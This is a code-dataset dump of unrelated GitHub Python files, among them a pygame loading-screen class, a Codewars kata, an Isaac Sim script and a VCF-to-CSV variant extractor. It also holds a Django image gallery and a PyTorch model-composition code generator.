0))\n self.rect = self.surface.get_rect()\n self.time_ = pg.time.get_ticks()\n self.font = pg.font.SysFont('sans-serif', 30)\n\n def update(self, screen,events):\n text = self.font.render('Press Any Key to Continue', True, (255, 255, 255))\n text_rect = text.get_rect(center=(self.screen_width // 2, self.screen_height // 2))\n screen.blit(self.surface, self.rect)\n screen.blit(text, text_rect)\n pg.display.flip()\n for event in events:\n if event.type == pg.KEYDOWN:\n self.kill()\n screen.blit(self.surface, self.rect)\n\n\n\nclass DarkScreen(pg.sprite.Sprite):\n def __init__(self, sleep=None, alpha=255):\n super().__init__()\n self.surface = pg.Surface(pg.display.get_window_size(), pg.SRCALPHA)\n self.surface.fill((0, 0, 0))\n self.surface.set_alpha(alpha)\n self.rect = self.surface.get_rect()\n self.sleep = sleep\n self.time_ = pg.time.get_ticks()\n\n def update(self, screen,events):\n if self.sleep is not None:\n current_time = pg.time.get_ticks()\n if current_time - self.time_ >= self.sleep:\n self.kill()\n screen.blit(self.surface, self.rect)\n\n\nclass LoadScreen(pg.sprite.Sprite):\n def __init__(self, time=10**3, alpha=255,pool:Future=None):\n super().__init__()\n self.surface = pg.Surface(pg.display.get_window_size(), pg.SRCALPHA)\n self.rect = self.surface.get_rect()\n self.surface.fill((0, 0, 0))\n self.surface.set_alpha(alpha)\n self.time = time\n self.pool = pool\n self.time_ = pg.time.get_ticks()\n self.font = pg.font.SysFont('sans-serif', 30)\n\n def update(self, screen,events):\n current_time = pg.time.get_ticks()\n num = (round(current_time - self.time_) // 500) % 4\n text = self.font.render(f'Loading{\".\"*(num if num != 0 else 1)}', True, (255, 255, 255))\n text_rect = text.get_rect(bottomright=(self.rect.w - 20, self.rect.h - 20))\n if self.pool is not None:\n if self.pool.done() and current_time - self.time_ >= self.time: \n self.kill()\n elif current_time - self.time_ >= self.time:\n self.kill()\n screen.blit(self.surface, self.rect)\n screen.blit(text, text_rect)\n \n","repo_name":"kanl222/The-Celestial-World","sub_path":"source/screen_effect.py","file_name":"screen_effect.py","file_ext":"py","file_size_in_byte":4050,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"69973944466","text":"'''\r\n7 kyu\r\nFlatten and sort an array\r\nChallenge:\r\nGiven a two-dimensional array of integers, return the flattened version of the array with all the integers in the sorted (ascending) order.\r\n\r\nExample:\r\nGiven [[3, 2, 1], [4, 6, 5], [], [9, 7, 8]], your function should return [1, 2, 3, 4, 5, 6, 7, 8, 9].\r\n\r\nTest case:\r\nTest.it(\"should work for some simple example test cases\")\r\ntest.assert_equals(flatten_and_sort([]), [])\r\ntest.assert_equals(flatten_and_sort([[], [1]]), [1])\r\ntest.assert_equals(flatten_and_sort([[3, 2, 1], [7, 9, 8], [6, 4, 5]]), [1, 2, 3, 4, 5, 6, 7, 8, 9])\r\ntest.assert_equals(flatten_and_sort([[1, 3, 5], [100], [2, 4, 6]]), [1, 2, 3, 4, 5, 6, 100])\r\n\r\n'''\r\n\r\ndef flatten_and_sort(array):\r\n\tres=[]\r\n\tfor each in array:\r\n\t\tfor item in each:\r\n\t\t\tres.append(item)\r\n\tres.sort()\r\n\treturn res\r\n\r\n# test case --> PASSED ALL THE CASES\r\nt1=[]\r\nt2=[[],[1]]\r\nt3=[[3,2,1],[7,9,8],[6,4,5]]\r\nt4=[[1,3,5],[100],[2,4,6]]\r\ncase=[t1,t2,t3,t4]\r\nfor t in case:\r\n\tprint(flatten_and_sort(t))\r\n\r\n","repo_name":"HunterLaugh/codewars_kata_python","sub_path":"kata_7_Flatten_and_sort_an_array.py","file_name":"kata_7_Flatten_and_sort_an_array.py","file_ext":"py","file_size_in_byte":999,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"74462480144","text":"from omni.isaac.kit import SimulationApp\nimport numpy as np\n\n\nsimulation_app = SimulationApp({\"headless\": False})\n\nfrom omni.isaac.core import World\nfrom omni.isaac.core.objects import VisualCuboid, DynamicCuboid\nfrom omni.isaac.wheeled_robots.robots import WheeledRobot\n\nmy_world = World(stage_units_in_meters=1.0)\n\nasset_path = \"/home/lm-2023/Isaac_Sim/isaac sim samples/Collected_car/car.usd\"\n\nmy_world.scene.add(\n WheeledRobot(\n prim_path=\"/mock_robot\",\n name=\"fancy_robot\",\n wheel_dof_names=[\"wheel_joint_top_left\", \"wheel_joint_top_right\"],\n create_robot=True,\n usd_path=asset_path,\n )\n)\nmy_world.scene.add_default_ground_plane()\n\nmy_world.reset()\nfor _ in range(5):\n # my_world.reset()\n for i in range(500):\n my_world.step(render=True)\n # my_world.scene.add(\n # DynamicCuboid(\n # prim_path=\"/new_cube_3\"+str(i),\n # name=\"cube_2\"+str(i),\n # position=np.array([0, 0, 3.0]),\n # scale=np.array([0.1, 0.1, 0.1]),\n # size=1.0,\n # color=np.array([0, 0, 255]),\n # linear_velocity=np.array([0, 0, 0.4]),\n # )\n # )\n\nsimulation_app.close()\n","repo_name":"swadaskar/Isaac_Sim_Folder","sub_path":"standalone_examples/api/omni.isaac.core/add_cubes.py","file_name":"add_cubes.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"6840628119","text":"#'''This code is the main frame of the interface.'''\nfrom QC_engine import QCEngine\nimport numpy as np\n\nclass MLgeomopt(self):\n\tdef __init__(self):\n\t\tif self.consistensy_tol is None:\n\t\t\tself.consistensy_tol = 0.000001\n\tdef check_consistensy(self, ML_opt_ene, QC_opt_ene):\n\t\tconsistensy_met = np.abs((QC_opt_ene - ML_opt_ene)) < self.consistensy\n\t\treturn consistensy_met\n\n\tdef kernel(self):\n\t\tE_QC, G_QC = QCEngine(molecule, engine).calc_new()\n\n\t\tconsistensy = False\n\t\titer = 0\n\t\twhile consistensy is not True and iter < self.max_cycle:\n\t\t\tMLEngine().add_geom()\n\t\t\tMLEngine().training()\n\t\t\tE_ML = MLEngine().calc_new()\n\t\t\tconsistensy = self.check_consistensy(E_ML, E_QC)\n\t\t\titer += 1","repo_name":"dgg95223/ML_QC_GEOM_OPT","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"13681327649","text":"\"\"\"\nGets High frequency bi-allelic SNPs from a chromosome\n\"\"\"\n\nimport os\nimport re\nimport argparse\nfrom tempfile import mkstemp\n\nimport boto3\nimport numpy as np\nimport pandas as pd\nimport allel\n\n\nparser = argparse.ArgumentParser()\n\nparser.add_argument(\n \"vcf_file\",\n help=\"VCF file to parse (can be a local or S3 path)\"\n)\n\nparser.add_argument(\n \"--s3-output-path\",\n default=None,\n help=\"S3 path to write results to\"\n)\n\nparser.add_argument(\n \"--sample-method\",\n default=None,\n type=str,\n choices=[None, 'first', 'last', 'random'],\n help=\"Sampling method to apply\"\n)\n\nparser.add_argument(\n \"--sample-n\",\n default=None,\n type=int,\n help=\"Number of records to sample\"\n)\n\nparser.add_argument(\n \"--sample-seed\",\n default=None,\n type=int,\n help=\"Seed for random sampling\"\n)\n\ndef localize(path):\n \"\"\"\n downloads a file from s3 if needed\n \"\"\"\n\n localized_path = path\n if path.lower().startswith('s3://'):\n s3 = boto3.client('s3')\n\n bucket, *key = path.replace('s3://', '').split('/')\n key = '/'.join(key)\n\n suffix = None\n if key.endswith('.gz'):\n suffix = '.gz'\n\n _, localized_path = mkstemp(suffix=suffix)\n with open(localized_path, 'wb') as tmpfile:\n s3.download_fileobj(bucket, key, tmpfile)\n \n return localized_path\n\n\ndef delocalize(file, s3path):\n \"\"\"\n uploads a file to s3\n \"\"\"\n s3 = boto3.client('s3')\n\n bucket, *key = s3path.replace('s3://', '').split('/')\n key = '/'.join(key + [os.path.basename(file)])\n\n with open(file, 'rb') as data:\n s3.upload_fileobj(data, bucket, key)\n \n return 's3://' + '/'.join([bucket, key])\n\n\ndef get_variants(vcf_file, sample_method=None, sample_n=None, sample_seed=None):\n callset = allel.read_vcf(vcf_file)\n\n gt = allel.GenotypeArray(callset['calldata/GT'])\n\n # convert genotypes to numeric values\n gt_coded = gt.to_packed()\n gt_coded[gt_coded == 16] = 1\n gt_coded[gt_coded == 17] = 2\n\n features = [\n '{}-{}-{}-{}'.format(c, p, r, a[0])\n for c, p, r, a in zip(\n callset['variants/CHROM'], \n callset['variants/POS'], \n callset['variants/REF'], \n callset['variants/ALT']\n )]\n features = np.array(features)\n\n data = pd.concat((\n pd.Series(features, name='features'),\n pd.DataFrame(gt_coded, columns=callset['samples'])\n ), axis=1)\n\n if sample_method and sample_n:\n if sample_n > data.shape[0]:\n sample_n = data.shape[0]\n\n if sample_method.lower() == 'first':\n data = data.head(sample_n).copy()\n\n elif sample_method.lower() == 'last':\n data = data.tail(sample_n).copy()\n\n elif sample_method.lower() == 'random':\n if sample_n < data.shape[0]:\n data = data.sample(sample_n, random_state=sample_seed).copy()\n \n else:\n raise RuntimeError(\"Unsupported sampling method\")\n\n return data\n\ndef main(args):\n vcf_file = localize(args.vcf_file)\n \n data = get_variants(\n vcf_file,\n sample_method=args.sample_method,\n sample_n=args.sample_n,\n sample_seed=args.sample_seed\n )\n\n sampling = 'all'\n if args.sample_method:\n sampling = ''.join([args.sample_method, str(args.sample_n)])\n \n csv_file = re.sub('\\.vcf.*$', '', os.path.basename(args.vcf_file), flags=re.I)\n csv_file = '.'.join([csv_file, sampling, 'csv'])\n\n data.to_csv(csv_file, index=False)\n\n if args.s3_output_path:\n delocalize(csv_file, args.s3_output_path)\n\n os.remove(vcf_file)\n os.remove(csv_file)\n\nif __name__ == '__main__':\n args = parser.parse_args()\n main(args)\n","repo_name":"wleepang/reinvent-2018-wps201","sub_path":"src/containers/allel/get_variants.py","file_name":"get_variants.py","file_ext":"py","file_size_in_byte":3743,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"35992104259","text":"from email.mime import image\nfrom django.shortcuts import render, redirect\nfrom home.models import Image\nfrom django.contrib import messages\nfrom django.core.paginator import Paginator, EmptyPage\n\n# function to render index page\ndef index(request):\n images = Image.objects.all()\n if request.method == \"POST\":\n if \"searchName\" in request.POST:\n # search by image name\n search = request.POST.get('search')\n image_object = Image.objects.filter(name=search)\n if image_object.exists():\n images = image_object\n elif \"addImage\" in request.POST:\n # a post request to submit the form and add it to add it to database\n name = request.POST.get('name')\n url = request.POST.get('url')\n detail = request.POST.get('detail')\n image = Image(name=name,url=url,detail=detail)\n image.save()\n messages.success(request, 'Image details added successfully.')\n # adding pagination 9 images per page\n p = Paginator(images,9)\n page_num = request.GET.get('page',1)\n try:\n page = p.page(page_num)\n except EmptyPage:\n page = p.page(1)\n \n context = {\n 'images' : page,\n }\n return render(request,'index.html',context)\n\n\n# function to render add new image page\ndef new(request): \n return render(request,'new.html')\n\n# function to render add edit image page\ndef edit(request,id):\n if request.method == \"POST\":\n # a post request to edit the image details by id\n image_object = Image.objects.get(id=id)\n image_object.url = request.POST.get('url')\n image_object.detail = request.POST.get('detail')\n image_object.save()\n return redirect(\"home\")\n image_obj = Image.objects.get(id=id)\n context = {\n 'image' : image_obj\n }\n return render(request,'edit.html',context)\n\n# function to render view image page by id\ndef show(request, id):\n image_object = Image.objects.get(id=id)\n context = {\n 'image' : image_object\n }\n return render(request,'view.html',context)\n\n\n# function to delete a image from gallery\ndef delete(request, id):\n image_object = Image.objects.filter(id=id).delete()\n return redirect(\"home\")\n ","repo_name":"anotherwebguy/Gallery-Crud-App-Django","sub_path":"home/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2271,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"36371340605","text":"# -*- coding: utf-8 -*-\n\nfrom util import Dict\nimport simplejson as json\n\nimport sys\n\nclass Config(Dict):\n def __init__(self, path):\n with open(path) as f:\n self.update(json.load(f))\n\nconfig = None\n\ndef load(path):\n global config\n config = Config(path)\n","repo_name":"linkdd/9cal","sub_path":"cal9/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":280,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"14465602591","text":"#https://www.acmicpc.net/problem/2566\n\nl = []\nxl = []\nmx = 0 #최대값 열\nmy = 0 #최대값 행\nfor i in range(9): #9번 반복\n xl = list(map(int, input().split())) #한줄 입력 받기\n l.append(xl) #전체 리스트에 추가하기\n for n in xl: \n if(n > l[my][mx]): #만약 현재 최대값보다 새로 입력 받은게 크다면\n my = i #현재 열\n mx = xl.index(n) #현재 행\n\nprint(l[my][mx])\nprint(my+1, mx+1)","repo_name":"dhrjsfud0522/cbei","sub_path":"2차원 배열/2566.py","file_name":"2566.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72101027025","text":"# Import necesary libraries\nimport yfinance as yf\nimport numpy as np\nimport datetime as dt\nimport pandas as pd\nfrom pandas.plotting import table\nimport matplotlib.pyplot as plt\n\ndef CAGR(DF):\n \"function to calculate the Cumulative Annual Growth Rate of a trading strategy\"\n df = DF.copy()\n df[\"daily_ret\"] = DF[\"Adj Close\"].pct_change()\n df[\"cum_return\"] = (1 + df[\"daily_ret\"]).cumprod()\n n = len(df)/252\n cagr_final = (df[\"cum_return\"][-1])**(1/n) - 1\n return cagr_final, DF.index[0]\n\n######################################## BackTesting #########################################\n\"\"\"\" backtesting the strategy to buy and hold Dow Jones Index for exactly 5 year in a window \n of past 35 years i.e. on 10,958 possible combinations \"\"\"\n\nticker_index = \"^DJI\"\nend_date = dt.date.today()\nstart_date = end_date - dt.timedelta(12783)\nDJ = yf.download(ticker_index,start_date,end_date)\nDJ_CAGR = {}\nfor i in range(len(DJ)-1828):\n start_year, start_month, start_day = DJ.index[i].year, DJ.index[i].month, DJ.index[i].day\n if (start_month == 2 and start_day > 28):\n end_year, end_month, end_day = start_year + 5, start_month, 28\n else:\n end_year, end_month, end_day = start_year + 5, start_month, start_day\n startday = dt.datetime(start_year,start_month,start_day)\n endday = dt.datetime(end_year,end_month,end_day)\n dj = DJ.loc[startday:endday]\n cagr = CAGR(dj)[0]*100\n key = CAGR(dj)[1]\n DJ_CAGR[key] = cagr\n\nDJ_Index_CAGR = pd.DataFrame.from_dict(DJ_CAGR,orient='index',columns=['5-yr CAGR'])\n\n# Plotting\nfig, ax = plt.subplots(1, 1)\ntable(ax, np.round(DJ_Index_CAGR.describe(), 2), loc='upper right', colWidths=[0.2])\nDJ_Index_CAGR.plot(ax=ax, ylim=(-10,50), legend=None, kind='line', use_index=True, grid=True, title='Dow Jones CAGR with 5 years holding period')\nax.set(xlabel=\"Time Series\", ylabel = \"5-yr Return %\")","repo_name":"jainrachit1008/Backtesting_Longterm_EquityStrategies","sub_path":"CAGR_DJI_LngTerm_Backtesting.py","file_name":"CAGR_DJI_LngTerm_Backtesting.py","file_ext":"py","file_size_in_byte":1875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"42409631879","text":"import re, os, json, logging\nlogging.basicConfig(level=logging.INFO)\n\nclass Subsets:\n def __init__(self, elements):\n self.data = {el: {el} for el in elements}\n \n def __getitem__(self, item):\n if item in self.data:\n return min(self.data[item])\n else:\n raise KeyError(f'No key {item} found')\n\n def merge(self, el1, el2):\n if el1 in self.data and el2 in self.data:\n union = self.data[el1].union(self.data[el2])\n for el in union:\n self.data[el] = union\n else:\n raise ValueError('One or both elements are not found')\n \nclass Author():\n \n def __init__(self, model_name, models, runs, output):\n \"\"\"\n Constructor for the model generator class.\n\n Args:\n model_name (str): The name of the model to be generated.\n path_templates (str): The directory path where template files are located.\n models (dict): A dictionary containing the model specifications.\n runs (list): A list containing information on how to combine different models.\n output (dict): A dictionary defining the outputs of the final model.\n path_basic_templates (str): The directory path where basic template files are located.\n\n This function initializes the class, sorts the runs, and creates initial models based on provided specifications.\n It then generates the full model, resolving any warnings related to missing parameters or incompatible dimensions.\n If warnings persist after a maximum number of iterations (N_MAX = 20), it raises an exception. \n Finally, it merges the parameters and writes the full model into a file in the path_templates directory.\n\n Note:\n It's assumed that the function is used within a larger framework where the input arguments are prepared and provided.\n \"\"\"\n N_MAX = 1\n\n script_directory = os.path.dirname(os.path.abspath(__file__))\n self.path_templates = os.path.join(script_directory, 'templates')\n self.path_basic_templates = os.path.join(script_directory, 'basic_templates')\n self.model_name = model_name\n self.runs = runs\n self.sort_runs()\n self.output = output\n self.models = models\n self.defaults = {}\n self.create_initial_models()\n lines, WARNINGS = self.full_model()\n i=0\n while WARNINGS and iN_MAX:\n print(WARNINGS)\n #raise Exception('max number of iterations reached')\n self.defaults = self.get_defaults()\n self.merge_parameters()\n lines, WARNINGS = self.full_model()\n open(os.path.join(self.path_templates, model_name), 'w').write(re.sub(r\" +\", \" \", \"\\n\".join(lines)))\n\n def sort_runs(self):\n \"\"\"\n Sorts the 'runs' list based on their dependencies.\n\n The function goes through each pair of 'runs' and checks if an 'id' of a run \n is in the 'inputs' of the other run. If it is, then they are swapped so that \n the dependent run comes after the run it depends on.\n\n The function does not return anything. It modifies the 'runs' attribute of the \n class in-place.\n \"\"\"\n runs = self.runs\n n = len(runs)\n for i in range(n):\n for j in range(i+1, n):\n run_a = runs[i]\n run_b = runs[j]\n run_a_inputs = [v[0] for k,v in run_a['inputs'].items()]\n run_b_id = run_b['id']\n first = run_a\n second = run_b\n if run_b_id in run_a_inputs:\n first = run_b\n second = run_a\n runs[i] = first\n runs[j] = second\n self.runs = runs \n\n def get_defaults(self):\n \"\"\"\n Fetches the default values of the parameters used in the model.\n\n This method iterates through all the parameters used in the model.\n For each parameter, it finds a model that uses the parameter and\n fetches the default value of the parameter from the model. \n\n The default values are then stored in the 'defaults' attribute of the class.\n \n Raises:\n Exception: If more than one default value is found for a parameter.\n \n Returns:\n None\n \"\"\"\n\n self.defaults = {}\n self.get_all_parameters()\n for parameter in self.parameters:\n # First let's find a model that uses that parameter\n found = False\n for model_id, model in self.models.items():\n if found:\n break\n for l_p, g_p in model[\"parameters\"].items():\n if g_p == self.subsets[parameter]:\n found = (model_id, l_p)\n break\n assert found\n default_value = self.models[found[0]]['defaults'].split('\\n')\n default_value = [x for x in default_value if l_p in x]\n if len(default_value)!=1:\n raise Exception(f\"Default values found fo {parameter} :{default_value}\")\n default_value = default_value[0].split('=')[1]\n self.defaults[parameter] = default_value\n\n def create_initial_models(self):\n \"\"\"\n Initializes the model structures and their parameters, and manages parameter equivalence classes.\n\n This method iterates through all the models, and for each model, \n it sets up its associated parameters based on the model's template.\n It also parses and sets the properties and default values of the model. \n\n During the initialization of model parameters, it checks whether the \n template of the model is available in the 'path_basic_templates' directory. \n If not, it looks for the template in the 'path_templates' directory.\n \n As part of the process, this function also constructs a 'Subsets' object\n containing all parameters from all models. The 'Subsets' object is used to \n manage equivalence classes for parameters, enabling the merging of sets of \n parameters that are deemed to be equal. This facilitates the handling of parameter \n dependencies across different models.\n \n Raises:\n FileNotFoundError: If the model's template is not found in either \n 'path_basic_templates' or 'path_templates' directories.\n \n Returns:\n None\n \"\"\"\n\n for model_id, model in self.models.items():\n if model['template'] in os.listdir(self.path_basic_templates):\n path = os.path.join(self.path_basic_templates, model['template'])\n else:\n path = os.path.join(self.path_templates, model['template'])\n # Load the text\n text = open(path).read()\n # Find the list of local parameters\n text2 = text.split(\"def __init__(self,\")[1].split(\"):\")[0]\n pattern = r\"___(.*?)____\"\n matches = re.findall(pattern, text2)\n matches = list(set(matches))\n # Initilize associated global parameters\n self.models[model_id][\"parameters\"] = {\n f\"___{p}____\" : f\"___{p}_{model_id}____\" for p in matches\n }\n # to delete? _ = self.models[model_id][\"parameters\"]\n # Load json and parse it a little\n text2 = text.split(\"BEGIN_PROPS\")[1]\n text2 = text2.split(\"END_PROPS\")[0]\n props = json.loads(text2)\n props['IN'] = [x.replace(' ', ' ').replace(' ', ' ').replace(' ', ' ') for x in props['IN']]\n props['OUT'] = [x.replace(' ', ' ').replace(' ', ' ').replace(' ', ' ') for x in props['OUT']]\n\n self.models[model_id][\"props\"] = props\n # Load the defaults\n defaults = text.split(\"def __init__(self,\")[1].split(\"):\")[0].replace(\", \", \"\").replace(\",\", \"\")\n self.models[model_id]['defaults'] = defaults\n all_parameters = [\n param\n for model in self.models.values()\n for param in model[\"parameters\"].values()\n ]\n self.subsets = Subsets(all_parameters)\n \n def solve_a_warning(self, warning):\n \"\"\"\n Resolves a warning raised due to potential parameter inconsistencies in a model.\n \n This method identifies the model and the variable causing the warning and attempts to resolve the issue.\n It first locates the model and the corresponding variable that has raised the warning. \n If the model_id is '0', it indicates that the input is a global input to the main model, not an output \n of a sub-model. In this case, the function simply returns as there's no warning to be solved within \n a sub-model.\n \n The method then identifies the parameters involved in the warning and attempts to find a match\n between the warning pattern and the output patterns of the model. \n If a match is found, it suggests that the model's output can potentially resolve the warning.\n \n As part of the process, the equivalence classes of the matching parameters (local parameters in the model's\n output and the global parameters in the warning) are merged in the 'subsets' object.\n This effectively makes these parameters equivalent, helping to resolve the warning.\n \n If no matching output pattern is found for the warning pattern, an exception is raised indicating an\n 'Unsolvable requirement'.\n \n Args:\n warning (str): The warning message to be resolved, which usually indicates a parameter inconsistency.\n \n Raises:\n Exception: If no output pattern in the model matches the warning pattern, indicating an unsolvable requirement.\n \n Returns:\n None\n \"\"\"\n logging.info(f\"trying to solve {warning}\")\n # First, let's retrieve the interesting model\n _ = [x.split(':') for x in warning.split(' ') if \"VAR:\" in x][0]\n model_id, variable_name = _[2], _[1]\n if model_id in {0, '0'}:\n return\n warning = warning.replace(f\"VAR:{variable_name}:{model_id}\", f\"VAR:{variable_name}\")\n # Second let's find the possible outputs that could give you that\n params_involved = re.findall(r\"___(.*?)____\", warning)\n params_involved = [f\"___{x}____\" for x in list(set(params_involved))]\n warning_template = warning\n\n for param in params_involved:\n warning_template = warning_template.replace(param, \"___###____\")\n to_match = None\n for out in self.models[model_id][\"props\"][\"OUT\"]:\n params_involved_out = re.findall(r\"___(.*?)____\", out)\n params_involved_out = [f\"___{x}____\" for x in params_involved_out]\n out_template = out\n for param in params_involved_out:\n out_template = out_template.replace(param, \"___###____\")\n if out_template==warning_template:\n to_match = out\n break\n if not to_match:\n raise Exception(f\"Unsolvable requirement {warning} in model {model_id}\")\n for local_param, global_param in zip(params_involved_out, params_involved):\n logging.info(f\"setting {local_param} to {global_param} in model {model_id}\")\n self.subsets.merge(self.models[model_id]['parameters'][local_param], global_param)\n\n def get_all_translated_props(self):\n \"\"\"\n Processes the input and output properties of all the models and returns a list of input and output \n properties that are well-formed and a list of warnings for ill-formed inputs.\n\n This method iterates through each run and model, translating local parameters to global parameters \n for both inputs (INs) and outputs (OUTs). It then filters out any outputs from the set of inputs.\n An input is considered 'well-formed' if all its variables are global inputs to the main model (i.e., \n model_id is '0'). Any input that doesn't meet this criterion is considered 'ill-formed' and is added \n to the warnings list.\n \n The method also processes the output list, replacing any matched variables with their corresponding \n output variables and keeping only those outputs that contain at least one matched variable.\n \n Args:\n None\n \n Returns:\n tuple: A tuple containing three lists:\n INs (list): A list of well-formed input properties.\n OUTs (list): A list of well-formed output properties.\n WARNINGS (list): A list of ill-formed input properties.\n \"\"\"\n INs, OUTs = [], []\n for run in self.runs:\n model = self.models[run[\"id\"]]\n INs += [self.local_to_global_run(x, run) for x in model[\"props\"]['IN']]\n for model_id, model in self.models.items():\n OUTs += [self.local_to_global_output(OUT, model_id) for OUT in model[\"props\"][\"OUT\"]]\n INs = set(INs)\n OUTs = list(set(OUTs))\n\n def ok(IN):\n tokens = set([x.split(\":\")[2] for x in IN.split(\" \") if 'VAR:' in x])\n return set(tokens) == {'0'}\n \n def keep_out(OUT):\n variables = {f'VAR:{v[\"variable\"]}:{v[\"model_id\"]}':f'VAR:{k}' for k,v in self.output.items()}\n keep = False\n for variable in variables:\n if variable in OUT:\n keep = True\n OUT = OUT.replace(variable, variables[variable])\n return keep, OUT\n\n WARNINGS = {IN for IN in INs if not ok(IN)}\n for OUT in OUTs:\n WARNINGS.discard(OUT)\n WARNINGS = list(WARNINGS)\n\n INs = [IN.replace(\":0\", \"\") for IN in INs if ok(IN)]\n OUTs = [keep_out(x) for x in OUTs]\n OUTs = [x[1] for x in OUTs if x[0]]\n return INs, OUTs, WARNINGS\n \n def local_to_global_run(self, statement, run):\n \"\"\"\n Transforms a statement from local parameters to global parameters for a given run.\n\n This method takes a statement and a run, and converts local parameters in the statement to\n global parameters according to the mappings stored in self.models for the given run. \n After this conversion, it further transforms each token in the statement that contains a variable, \n by replacing it with a formatted string containing the original variable's name and the ID of the model \n from where this variable originates.\n\n Args:\n statement (str): The statement in which local parameters need to be transformed to global parameters.\n run (dict): The run for which the transformation needs to be performed.\n\n Returns:\n str: The transformed statement with global parameters and variables formatted with their origin model's ID.\n \"\"\"\n model_id = run['id']\n for k,v in self.models[model_id]['parameters'].items():\n statement = statement.replace(k,self.subsets[v])\n statement = statement.split(' ')\n def transform(token):\n if 'VAR:' not in token:\n return token\n variable_name = token.split(':')[1]\n variable_origin = run[\"inputs\"][variable_name]\n model_origin_id = variable_origin[0]\n variable_origin_name = variable_origin[1]\n token = f\"VAR:{variable_origin_name}:{model_origin_id}\"\n return token\n statement = ' '.join([transform(token) for token in statement])\n return statement\n \n def local_to_global_output(self, statement, model_id):\n \"\"\"\n Converts a statement from local parameters to global parameters and transforms variable tokens in the context of model output.\n\n This method first replaces local parameters in the statement with global parameters according to the mappings stored in self.models for a given model_id. \n Then, it further transforms each token in the statement that contains a variable, by appending the model_id to it.\n\n Args:\n statement (str): The statement in which local parameters need to be transformed to global parameters.\n model_id (str): The ID of the model for which the transformation needs to be performed.\n\n Returns:\n str: The transformed statement with global parameters and variables appended with the model_id.\n \"\"\"\n for k,v in self.models[model_id]['parameters'].items():\n statement = statement.replace(k,self.subsets[v])\n def transform(token):\n if 'VAR:' not in token:\n return token\n return f\"{token}:{model_id}\"\n statement = ' '.join([transform(token) for token in statement.split(' ')])\n return statement\n \n def initilization_lines(self):\n \"\"\"\n Generates the initialization lines of code for the model, taking into account all the submodels contained within it.\n\n This method retrieves all parameters across models and generates the initialization lines of code for each model.\n For each model, a line of code is created to initialize it using its template name and parameters.\n It then prefaces these lines with the `super` call to initialize the parent class and indents all lines for proper Python syntax.\n It also generates the method signature of the '__init__' method with default values for all parameters.\n The final output is a list of all lines of code required for initialization of the model.\n\n Returns:\n list: A list of lines of Python code representing the initialization of the model.\n \"\"\"\n parameters = self.get_all_parameters()\n # Initialization part\n lines = []\n for model_id, model in self.models.items():\n template_name = model[\"template\"]\n line = f\"self.model_{model_id} = {template_name}(\"\n for k,v in model[\"parameters\"].items():\n line += f\"{k} = {self.subsets[v]}, \"\n line += \")\"\n lines += [\n f\"# Initializing model {model_id}\",\n line\n ]\n lines = [f\"super({self.model_name}, self).__init__()\"] + lines\n lines = [\"\\t\" + x for x in lines]\n first_lines = [f\"def __init__(self, \"] \n\n self.get_defaults()\n\n for parameter in self.parameters:\n default_value = self.defaults[parameter]\n first_lines.append(f\"\\t{parameter} = {default_value},\")\n\n first_lines += [\"\\t):\"]\n lines = first_lines + lines\n return lines\n\n def forward_lines(self):\n \"\"\"\n Generates the forward pass lines of code for the model.\n\n This method loops through all the runs of submodels contained within the main model.\n For each run, it creates a dictionary `Z` that maps each input variable to its corresponding value.\n These values are either fetched from the output of another submodel or from the main model's input.\n It then makes a forward pass through the submodel and stores the output in a model-specific output dictionary.\n Finally, it creates lines of code to aggregate the results from all submodels and return the final output.\n\n Returns:\n list: A list of lines of Python code representing the forward pass of the model.\n \"\"\"\n # let's write the forward part\n lines = []\n import json\n for run_id, run in enumerate(self.runs):\n model_id = run['id']\n inputs = run['inputs']\n lines += [\n f\"# Sub-model run {run_id}\",\n \"Z = {\"\n ]\n for k,v in inputs.items():\n if v[0] != 0:\n lines.append(f\" \\\"{k}\\\" : model_output_{v[0]}[\\\"{v[1]}\\\"],\")\n else:\n lines.append(f\" \\\"{k}\\\" : X[\\\"{v[1]}\\\"],\")\n lines += [\n \"}\",\n f\"model_output_{model_id} = self.model_{model_id}(Z)\",\n ]\n lines.append(\"# Aggregating results\")\n lines.append(\"RESULT = {}\")\n for output_name, output_source in self.output.items():\n model_id = output_source[\"model_id\"]\n variable_to_fetch = output_source[\"variable\"]\n lines.append(f\"RESULT[\\\"{output_name}\\\"] = model_output_{model_id}[\\\"{variable_to_fetch}\\\"]\")\n lines.append(\"return RESULT\")\n\n lines = [\"def forward(self, X):\"]+['\\t'+x for x in lines]\n return lines\n\n def imports(self):\n \"\"\"\n Generates a list of Python import statements for the model.\n\n This method goes through all the submodels in the main model and creates an import line for each unique submodel template.\n The function also adds an import statement for the `torch` module. \n The output is a list of unique import statements.\n\n Returns:\n list: A list of unique import statements needed for the model.\n \"\"\"\n lines = [\"import torch\"]\n for model in self.models.values():\n import_name = model[\"template\"]\n if import_name in os.listdir(self.path_basic_templates):\n lines.append(f\"from src.basic_templates import {import_name}\")\n else:\n lines.append(f\"from src.templates.{import_name} import {import_name}\")\n lines = list(set(lines))\n return lines\n\n def full_model(self):\n \"\"\"\n Generates a list of all the lines that make up the model.\n\n This method combines the import statements, class initializations, and forward function, along with the constraints \n for the inputs (IN), outputs (OUT), and warnings. \n\n The constraints are stored in JSON format, between \"BEGIN_PROPS\" and \"END_PROPS\" tags.\n\n The method returns all the lines of the model and any warnings that may occur during the generation of \n the translated properties.\n\n Returns:\n tuple: A tuple containing a list of lines of code that make up the model and a list of warnings.\n \"\"\"\n self.get_all_parameters()\n\n 